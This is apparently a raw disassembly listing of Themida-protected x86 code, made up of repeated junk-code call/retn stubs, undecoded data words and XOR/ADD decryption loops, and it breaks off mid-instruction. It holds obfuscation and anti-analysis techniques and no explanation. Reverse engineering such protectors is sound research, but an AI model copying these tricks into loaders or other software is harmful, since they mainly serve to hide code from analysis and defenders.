=============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CF6D5 proc near ; CODE XREF: Themida_:005CF6C7p jmp sub_5CF6E2 sub_5CF6D5 endp ; --------------------------------------------------------------------------- dw 0FAD7h dd 0BFCE4CCFh db 56h, 3Eh ; =============== S U B R O U T I N E ======================================= sub_5CF6E2 proc near ; CODE XREF: sub_5CF6D5j pop ebx mov ecx, 0EE7h push 0 push ecx call sub_5CF6F3 and [ecx-3Dh], bl sub_5CF6E2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CF6F3 proc near ; CODE XREF: sub_5CF6E2+9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CF6F3 endp ; --------------------------------------------------------------------------- db 0E3h ; --------------------------------------------------------------------------- mov edi, 51D9CD79h and ecx, 0FFFFFFFCh push 0 push edx call sub_5CF717 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF717 proc near ; CODE XREF: Themida_:005CF70Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CF717 endp ; --------------------------------------------------------------------------- test esi, edx fdivr st, st(1) xchg eax, edx leave fldcw word ptr ds:0BD29FCD2h fstp qword ptr [eax] adc al, 6 cld push 0 push esi call sub_5CF743 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF743 proc near ; CODE XREF: Themida_:005CF73Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CF743 endp ; --------------------------------------------------------------------------- sbb [edi+6CD7F5A1h], eax push 3Dh imul ecx, [ebx+140A69BDh], 6 sub eax, eax or [ebp+6140795h], ecx sub edx, edx push 0 push ebx call sub_5CF777 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF777 proc near ; CODE XREF: Themida_:005CF76Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CF777 endp ; --------------------------------------------------------------------------- db 41h dd 0D8B0F00h, 0E9000000h, 8, 63D9E7EEh, 0AE1C6177h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0AAC35141h, 119D89DCh, 6A061425h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 31CFC350h, 76BE4F1Ah, 0C2FCE75Bh, 5BDA8B56h, 880Dh dd 958BF900h, 6142B69h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0A2C35343h, 6613F429h, 0DB74CB81h, 10558D8Bh dd 91BB0614h, 8B552685h, 1420859Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 519D8BFEh, 8306140Ch dd 140F4DBDh, 840F0006h, 4Fh, 4458D381h, 0B87FCFh, 66000000h dd 8D2A38BBh, 144DFF8Dh, 21BD8B06h, 0FF06140Eh, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0D4087744h, 0CBAD56BCh, 0FF5B583h, 68Ah, 0C9950900h dd 83061434h, 14013DBDh, 840F0006h, 541h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 7CC35646h, 8F0F99E8h dd 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+614013Dh], 1 jz loc_5CFE14 push 0 push ecx call sub_5CF8F4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF8F4 proc near ; CODE XREF: Themida_:005CF8ECp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5CF8F4 endp ; --------------------------------------------------------------------------- or ebx, [edi+0B371CD8h] mov bl, cl cmp dword ptr [ebp+614013Dh], 3 jbe loc_5CFDDE mov [ebp+6140AA5h], ebx mov edi, [ebp+61402DDh] pusha push 0 push edi call sub_5CF931 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF931 proc near ; CODE XREF: Themida_:005CF929p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5CF931 endp ; --------------------------------------------------------------------------- db 28h, 3Fh, 0F2h dd 0D8E4163Ah, 14E9D0ABh, 56000000h, 0EC083FBEh, 0E48F91F7h dd 68CADC83h, 5FBCAB14h, 0FBF1DEAh, 681h, 0E9BD8B00h, 66061401h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 9D5369C3h, 8BF92FBFh, 0E95653FEh, 7, 6203294Bh dd 5B68ED2Dh, 4E1805Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 51C35747h, 4CBF4C99h, 0E944F6F2h, 9 dd 0CA5300B7h, 6DCBB785h, 88E780D5h, 840FC90Ah, 181h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 93C35545h, 9B2E05A2h dd 8BA10944h, 140E3585h, 68D0F06h, 8B000000h, 141CF59Dh dd 0A9853306h, 6A061406h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0B0C1C355h, 799D8B91h dd 50061434h, 0EE8h, 0D61E6100h, 0E68545Eh, 0E5EBD435h dd 668F0A23h, 895FD98Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0EF8E24C3h, 2B398D89h dd 6A0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0E6C35141h, 81EFEB36h, 88AD52D7h, 4E843h, 3FF0000h dd 46BF001Fh, 50416D20h, 8E9h, 36808B00h, 30D8131Dh, 24448BDCh dd 14E86004h, 0BF000000h, 32A40981h, 674E856Bh, 83865F48h dd 59EFB906h, 504B62A9h, 5A310F52h, 8B615B58h, 0DF8B6600h dd 4244489h, 84FB15BFh, 6A5812h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6C9B56C3h, 95FF13AEh dd 614089Dh, 23C38166h, 0EA8589ADh, 0E90617A7h, 0Eh, 15D9E148h dd 9F3B3AC9h, 8E64B6C8h, 0BE95E2Fh, 6A000002h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0EF19C355h, 0B7A86539h, 0E2858BC6h, 6A0617A7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0C027C357h, 52609E9Dh, 198DBD89h, 8B5B0614h, 0C761C8h dd 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 0D9C35646h, 8B3B2F11h, 17A7E6B5h, 81858B06h, 6A061402h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A49FC353h, 0AB8536F8h, 1348FBEFh, 6A0689FCh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 778EC357h, 0E4293222h, 899534B5h, 140469BDh dd 35858B06h, 6606140Eh, 0CE9FF381h, 6A044689h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 1186C350h, 0AE0AC0BEh, 79706A81h, 0E850D98Bh, 12h, 3726E5C4h dd 5B71C665h, 0A0E9DCB8h, 9CBD8393h, 895FA755h, 0BB662434h dd 0B5FFAC82h, 617A7E2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 6DC35242h, 4DB0EDA5h, 0FFCB650h, 188Dh dd 13E900h, 4FC80000h, 97AD6AFCh, 2DB35EAFh, 0E1931E14h dd 692D6632h, 11BD89C5h, 6806142Bh, 780B0E9h, 0ED89B5BBh dd 24348107h, 79FB316h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5AC35141h, 4527D09Bh, 858D5479h, 617A7EAh dd 17880Fh, 12E90000h, 15000000h, 0F68451C5h, 5A2D11E7h dd 2BA5FB6Ah, 0E6F12939h, 0B58589D0h, 90061433h, 6650F88Bh dd 990F98Bh, 14183D8Dh, 0DBBF0F06h, 89D95FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0B0B931C3h, 6A6161B9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89FCC351h, 140BB9B5h dd 3D85C706h, 3061401h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A6F7C355h dd 0BD83CB27h, 617A7EAh, 37840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 73AEC352h, 0F4D3884h, 2AE9D9BFh, 0F000000h, 988h, 38C0F00h dd 66000000h ; --------------------------------------------------------------------------- mov ebx, edi loc_5CFDDE: ; CODE XREF: Themida_:005CF913j ; Themida_:005CFDF5j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CFDDE jmp short loc_5CFE2F ; --------------------------------------------------------------------------- loc_5CFDF9: ; CODE XREF: Themida_:005CFE10j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CFDF9 jmp short loc_5CFE2F ; --------------------------------------------------------------------------- loc_5CFE14: ; CODE XREF: Themida_:005CF8E3j ; Themida_:005CFE2Bj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CFE14 jmp short $+2 loc_5CFE2F: ; CODE XREF: Themida_:005CFDF7j ; Themida_:005CFE12j mov eax, eax mov di, bx movsx edi, cx cmp dword ptr [ebp+614013Dh], 3 jnz loc_5D017C push 0 push ebp call sub_5CFE4F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFE4F proc near ; CODE XREF: Themida_:005CFE47p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5CFE4F endp ; --------------------------------------------------------------------------- db 66h dd 6421D6ABh, 0A7EABD83h, 0F000617h, 30B84h, 0EAB5FF00h dd 570617A7h, 3059BD89h, 8B5B0614h, 1433A5BDh, 3995FF06h dd 66061403h, 8672DB81h, 0A7DEB58Bh, 0BD230617h, 6141B9Dh dd 106C7h, 0B5890001h, 6141531h, 8E896h, 83C40000h, 7A625EFCh dd 8E826FDh, 48000000h, 0B3A0C9EBh, 0E91FEFCFh, 0Dh, 89D9ED04h dd 0DDC6393Eh, 560B58EDh, 505B5BF2h, 89963FB7h, 1423398Dh dd 0D5858906h, 0FF06140Eh, 17A7EAB5h, 0FF5B5106h, 14108195h dd 0C2806006h, 61FC609Fh, 0DEB58B61h, 0BB0617A7h, 20C1DCDh dd 0FF9858Bh, 0E7810614h, 603AB102h, 0C48689h, 0D98B0000h dd 2B69958Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 4CA1CCC3h, 0BD23AB98h, 61416CDh dd 6A04C283h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 9EF3C350h, 0E9BD8B46h, 8906141Ch dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E90141C3h, 73CD3A93h, 0FB8B9EEDh, 2959D09h dd 858D0614h, 617BC23h, 7E8h, 196ECB00h, 95B64BC1h, 61850360h dd 8906142Ah, 140E19BDh, 895F6106h, 0B886h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0FFF5D981h, 57D6B92Fh, 2CBBFC89h, 6A665A20h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C78152DBh, 6995E91Ah, 0EAB5FF5Bh, 6A0617A7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0D4A6C356h, 8A7923C2h, 0FF62C5CCh, 1433AD95h, 0CE806h dd 0A7F90000h, 0F5D61715h, 72B62E66h, 85BFCC7Ch, 5F3B18EFh dd 9E950h, 27F60000h, 0B3E8465Bh, 89C5FEF7h, 0BD292434h dd 6140949h, 169BD8Bh, 0B5FF0614h, 617A7EAh, 37DBD33h dd 880F0614h, 5, 13CF8166h, 995FF7Ch, 0F9061423h, 1189BD83h dd 0F000614h, 2584h, 0DF816600h, 895074AEh, 6A2434h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0B5FFB0C3h, 617A7EAh, 261BD33h, 95FF0614h, 61402D5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 55C35646h dd 0EACF0818h, 859D8BEDh, 0FF061412h, 17A7EAB5h, 0A806BB06h dd 95FF4554h, 6140B75h, 6820Fh, 0E3810000h, 5183F30Ah dd 112DBD83h, 0F020614h, 1784h, 39850100h, 8B06141Ch, 14005585h dd 89FB8B06h, 141B9D8Dh, 0C606h, 1E4985C7h, 614h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 6B09BEC3h, 0BB663AAAh, 5E9BAC2h, 89000000h, 3D1890D7h ; --------------------------------------------------------------------------- loc_5D017C: ; CODE XREF: Themida_:005CFE3Ej jmp near ptr dword_5CF52C+2Bh ; --------------------------------------------------------------------------- mov [ebp+6142A15h], eax mov eax, ecx mov ebx, [ebp+6141675h] lea eax, [ebp+6140791h] xor di, 731Eh nop mov edi, eax push eax nop add bh, 0F8h push 0 jno loc_5D01B0 mov ebx, [ebp+6143031h] loc_5D01B0: ; CODE XREF: Themida_:005D01A4j push 0 push 0 push ebp call sub_5D01BD and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D01BD proc near ; CODE XREF: Themida_:005D01B5p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5D01BD endp ; --------------------------------------------------------------------------- aas pop ss lea eax, [ebp+61927D4h] push 0 push ebx call sub_5D01E0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D01E0 proc near ; CODE XREF: Themida_:005D01D8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5D01E0 endp ; --------------------------------------------------------------------------- dd 681324Ah, 5C0839Fh, 34899D01h, 0F7800614h, 525050B4h dd 310FDE8Bh, 7E8h, 58D95A00h, 0D648B57h, 5A5F5B52h, 24048958h dd 1C51BD29h, 6A0614h, 7D8BBA60h, 0A7B97BDEh, 614591E6h dd 2E658501h, 6A0614h, 98D78166h, 1995FF7Ah, 6A06141Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0A379C352h, 0EA68C0ECh, 0D5858970h, 8906141Bh dd 14311985h, 788D8D06h, 6A0617A7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D820C357h dd 0F4A124B7h, 19BD2BEBh, 0FF061419h, 50006AD1h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 810B3A39h, 0BE5143EFh, 0CDBD832Dh, 1061401h, 9E850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0B56504C3h, 10E89A4Bh, 39000000h, 0DCFD68B9h dd 1B7C2F3Ch, 8CB136FCh, 0F953A533h, 90026A5Bh, 0F525060h dd 8F0F31h, 5A000000h, 66506158h, 908BFDBBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E6C35141h, 4E8E15ECh dd 6638BF5Ah, 95FF2666h, 61433ADh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 6C35141h, 0EB699B99h, 0DFBF0F98h dd 0E7FE9h, 0E800h, 815D0000h, 1927DEEDh, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 6AF438h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 7CC6A6C3h, 858DD8C0h, 6178E49h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F7C35747h, 12E990F5h dd 0E9000000h, 7FBC4B97h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh dd 66505051h, 905BD98Bh, 6840Fh, 85890000h, 6142B61h, 35FF64h dd 1000000h, 140AB595h, 0ECBF6606h, 2589649Ah, 0 ; --------------------------------------------------------------------------- jz loc_5D0430 mov [ebp+6141FCDh], esi loc_5D0430: ; CODE XREF: Themida_:005D0424j inc dword ptr [ebp+6142DEDh] push 0 push eax call sub_5D0441 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0441 proc near ; CODE XREF: Themida_:005D0439p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5D0441 endp ; --------------------------------------------------------------------------- mov esi, [edi+19h] mov di, 0DBF3h push 0FFFFFFFFh push 0 push ebx call sub_5D0465 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0465 proc near ; CODE XREF: Themida_:005D045Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5D0465 endp ; --------------------------------------------------------------------------- leave xlat shl byte ptr [ebx+1Ch], 1 mov edi, 5727F6D8h push dword ptr [ebp+6140499h] push 0 push ecx call sub_5D0490 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0490 proc near ; CODE XREF: Themida_:005D0488p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5D0490 endp ; --------------------------------------------------------------------------- dd 0D3150BEDh, 814B8F5Eh, 0BED970D7h, 8995FF60h, 0E906142Ah dd 0E7h, 0AD5BBB66h, 0C38100B0h, 29A3D4DEh, 0B58970E6h dd 6140329h, 0BD8B71E4h, 6140DD9h, 830F613Ch, 0C3h, 66C8B60Fh dd 6BAFB8Bh, 8B000000h, 55BD2BC1h, 0C106142Dh, 0EEB304E8h dd 2BE2F766h, 0FFBF0FC8h, 870FD18Bh, 3, 8BF88B66h, 1400959Dh dd 8DE906h, 0BD8B0000h, 6142D95h, 4C4C858Bh, 81B7505Fh dd 38D0Fh, 0BF0F0000h, 7C083DFh, 68B0F51h, 29000000h, 1416E19Dh dd 0C0835B06h, 85895300h, 6142301h, 0FD03B5Fh, 0D83h, 23F88A00h dd 1408A99Dh, 45E906h, 8D8B0000h, 0FFFFFFFFh, 9141EF81h dd 81665D00h, 8338E3C7h, 840F01E1h, 2Bh, 2BDA88BFh, 0FFA58320h dd 0FEFFFFFFh, 6E9h, 0E1221400h, 89A33EB3h, 5F4C4C95h dd 0FAB70F50h, 18B1BD0Bh, 0E90614h, 8D000000h, 189C48B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6AB5E292h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0DFA8BACEh dd 8F0FB9F4h, 4, 0CFDFBF66h, 297195FFh, 6A0614h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0DC3631C3h, 544A9ECFh, 6880F24h, 81000000h, 0B198AEFh dd 0FC3B901h, 9D330000h, 6140D51h, 89BD2B50h, 5B061406h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 9E6EC356h, 8F3C3CDBh, 0FC5C7BD9h dd 0DE9h, 808F0D00h, 376A6E0Ah, 0AF42F679h, 0B85213h, 8B000000h dd 2BF98BF8h, 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0E1F2645Ah, 8C0FEAB3h, 0 ; --------------------------------------------------------------------------- loc_5D06A4: ; CODE XREF: Themida_:005D06AEj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D06A4 mov ebx, [ebp+61400F5h] mov ebx, 4EC7D2A2h or eax, 88h push 0 push eax call sub_5D06CB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D06CB proc near ; CODE XREF: Themida_:005D06C3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5D06CB endp ; --------------------------------------------------------------------------- inc ecx xchg eax, esi jmp loc_5D06EB ; --------------------------------------------------------------------------- dw 3026h dd 35119F5Ah db 0Dh, 6Ah, 0D4h ; --------------------------------------------------------------------------- loc_5D06EB: ; CODE XREF: Themida_:005D06DDj mov [ebp+614084Dh], ebx mov edx, [ebp+6142B69h] or bh, 81h mov ecx, [ebp+6141055h] push 0 push eax call sub_5D070B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D070B proc near ; CODE XREF: Themida_:005D0703p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5D070B endp ; --------------------------------------------------------------------------- sbb al, [edi+43h] jns short loc_5D078A ; CODE XREF: Themida_:005D079Cj sbb [edi], dh pop ss enter 50BEh, 8Bh retn 188Bh ; --------------------------------------------------------------------------- add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push eax call sub_5D0742 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0742 proc near ; CODE XREF: Themida_:005D073Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5D0742 endp ; --------------------------------------------------------------------------- dw 0D62Bh dd 874C36A1h, 81A01FFAh, 838152F7h, 9E942h, 0C0630000h dd 69986AF9h, 8051AE5Ah, 0BD8357D3h, 6140F4Dh, 59840F00h dd 8B000000h, 140A95BDh, 0B806h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D078A: ; CODE XREF: Themida_:005D071Ej call sub_5D079F xor eax, 0F698D1CFh push ebx loopne loc_5D07DC dec esp jl short near ptr sub_5D079F+1 sub al, 3 ja short near ptr loc_5D071E+1 xchg eax, ecx ; =============== S U B R O U T I N E ======================================= sub_5D079F proc near ; CODE XREF: Themida_:loc_5D078Ap ; Themida_:005D0798j mov bl, 8Ah pop ebx lea ecx, [ebp+6144DFFh] push 0 push eax call sub_5D07B3 and [eax-3Dh], bl sub_5D079F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D07B3 proc near ; CODE XREF: sub_5D079F+Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5D07B3 endp ; --------------------------------------------------------------------------- scasb mov dword ptr [ebp+59h], 896A1847h mov ch, 99h and [esi+eax], dl jmp ecx ; --------------------------------------------------------------------------- dw 9D8Bh dd 614318Dh, 13DBD83h ; --------------------------------------------------------------------------- loc_5D07DC: ; CODE XREF: Themida_:005D0795j adc al, 6 add [edi], cl test ch, bl loc_5D07E2: ; CODE XREF: Themida_:005D085Fj add al, 0 add [eax+0Fh], ah mov [ebx], eax ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- sub ah, 8Bh popa cmp dword ptr [ebp+614013Dh], 1 jz loc_5D0CEB pusha and ecx, 29B8BD8Ah mov edi, [ebp+6141E61h] popa mov ebx, [ebp+6140E9Dh] cmp dword ptr [ebp+614013Dh], 3 jbe loc_5D0CB5 sbb ebx, 581EBB30h pusha mov edi, [ebp+6142621h] mov cx, ds mov bl, 68h and cl, 4 mov bx, cx mov ebx, [ebp+6140639h] or cl, cl jz loc_5D09F4 push 0 push edx call sub_5D084F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D084F proc near ; CODE XREF: Themida_:005D0847p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5D084F endp ; --------------------------------------------------------------------------- jge short loc_5D07E2 retf ; --------------------------------------------------------------------------- dw 637Dh dd 11E83F26h, 0A6000000h, 42630E6Eh, 357FB21Ah, 0C154BD0Bh dd 383B2DF8h, 5BF98B66h, 0E35858Bh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0CAE3C8C3h dd 0BD8BE835h, 61434B5h, 7E9h, 3FFF8500h, 3D80D803h, 6A98533h dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 917032C3h, 51609092h, 0F5AC68Bh, 48Fh, 70BB6600h dd 9050615Eh, 6ABDB3h, 34E1BD8Bh, 0C2680614h, 50E86D48h dd 9FBF6652h, 0F310FE3h, 0F8Bh, 9E800h, 6A880000h, 0AC73B6C1h dd 5F6763C9h, 481585Ah, 0B1BB3D24h, 51006A17h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0DCA7FA7Fh dd 0F30A0FCEh, 158589h, 95FF0614h, 614089Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E2C35646h, 0D1D2E04Ah dd 0E88E19A5h, 14h, 0F2A8D791h, 1EBCDC7Dh, 0FD023D8Bh dd 0B569BD7Eh, 89605027h, 9F895BBFh, 0FE8B5B39h, 0A7EA8589h dd 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 3138EC3h, 14F8A24Ch, 270E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0A21FEC90h, 0DB95D0D9h, 6840Fh, 85010000h, 6142C1Dh ; --------------------------------------------------------------------------- loc_5D09F4: ; CODE XREF: Themida_:005D083Ej mov eax, [ebp+617A7E2h] push 0 push esi call sub_5D0A05 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0A05 proc near ; CODE XREF: Themida_:005D09FDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5D0A05 endp ; --------------------------------------------------------------------------- db 0B3h, 90h, 44h dd 8C6CA16Ch, 0C7DA8A9Ch, 1800h, 0E6B58B00h, 6A0617A7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0C2EAC357h, 1E2E1EE9h, 18F0F45h, 0FC000000h dd 860FFA8Bh, 1, 81858BF5h, 6A061402h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 32E5C355h dd 840EEA2h, 51BD8B87h, 81061420h, 6FD3BF3h, 0B306894Ah dd 35858B5Bh, 6A06140Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0D32FC352h, 0E2BF66h dd 8B044689h, 0BB6650FBh, 3489D3A7h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0DE8B552Ah dd 0A7E2B5FFh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 7A041FC3h, 6E8D060Fh, 0F6087EBh dd 38Ah, 0CB8B6600h, 8B61A4B4h, 1410B5BDh, 4E806h, 3FF0000h dd 0AE9001Fh, 0C5000000h, 0A8DDE311h, 0E8A9AFD8h, 0D88B50DCh dd 424448Bh, 8BDF8B66h, 52505600h, 0FF88B66h, 0F88B6631h dd 895F585Ah, 50042444h, 11E852h, 85D20000h, 0ADE321CFh dd 0F5DD1EF6h, 9B9D971Bh, 60BD0C2Dh, 310F5B61h, 0DB0FCFBFh dd 58585A43h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0ADC35747h, 0C317BF66h, 5DBD23h, 858D0614h, 617A7EAh dd 5B506090h, 0DA8B5061h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 9ACB3AFh, 89E86F39h dd 1409F595h, 0FE906h, 0F7710000h, 421A72FCh, 0EF3FBBEBh dd 27A8528Fh, 9D95FFEDh, 6A061408h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 3DC5C351h dd 4133086Ch, 12E9h, 0F1A3AC00h, 7E5B7F58h, 5D6F5473h dd 2AC9250Bh, 89C9C491h, 142DDDB5h, 12E96106h, 0DF000000h dd 79E85CB3h, 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 3D85C71Fh dd 3061401h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 8964C357h, 83F8F2D3h dd 17A7EABDh, 840F0006h, 31h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0CAC35141h, 9E2703DCh, 27E9h dd 45858900h, 306140Eh, 14266DBDh ; --------------------------------------------------------------------------- push es loc_5D0CB5: ; CODE XREF: Themida_:005D0818j ; Themida_:005D0CCCj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add 